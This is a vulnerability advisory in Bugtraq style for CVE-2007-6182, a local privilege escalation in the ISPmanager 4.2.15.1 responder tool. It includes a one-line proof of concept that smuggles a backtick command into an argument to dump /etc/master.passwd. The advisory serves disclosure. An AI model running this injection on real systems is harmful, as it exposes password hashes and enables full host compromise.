ISPmanager Responder Local Privilege Escalation Vulnerability

Bugtraq ID:	26503
Class:	Input Validation Error
CVE:	CVE-2007-6182
Remote:	No
Local:	Yes
Published:	Nov 20 2007 12:00AM
Updated:	Dec 18 2007 08:06PM
Credit:	Andrew Christensen discovered this issue.
Vulnerable:	ISPmanager ISPmanager 4.2.15 .1
Not Vulnerable:

ISPmanager Responder Local Privilege Escalation Vulnerability

ISPmanager is prone to a local privilege-escalation vulnerability.

A local attacker can exploit this issue to gain elevated privileges on the affected computer. A successful exploit will lead to the complete compromise of the affected computer.

ISPmanager 4.2.15.1 is reported vulnerable; other versions may be affected as well.

ISPmanager Responder Local Privilege Escalation Vulnerability

An attacker can manually supply commands to the affected application.

The following proof of concept is available:

/usr/local/ispmgr/sbin/responder /tmp/ '` cat /etc/master.passwd1>&2 `' 2>&1

ISPmanager Responder Local Privilege Escalation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

ISPmanager Responder Local Privilege Escalation Vulnerability

References:

• Home Page (ISPmanager)
  
• ISPmgr local root privilege escalation (FORTCONSULT)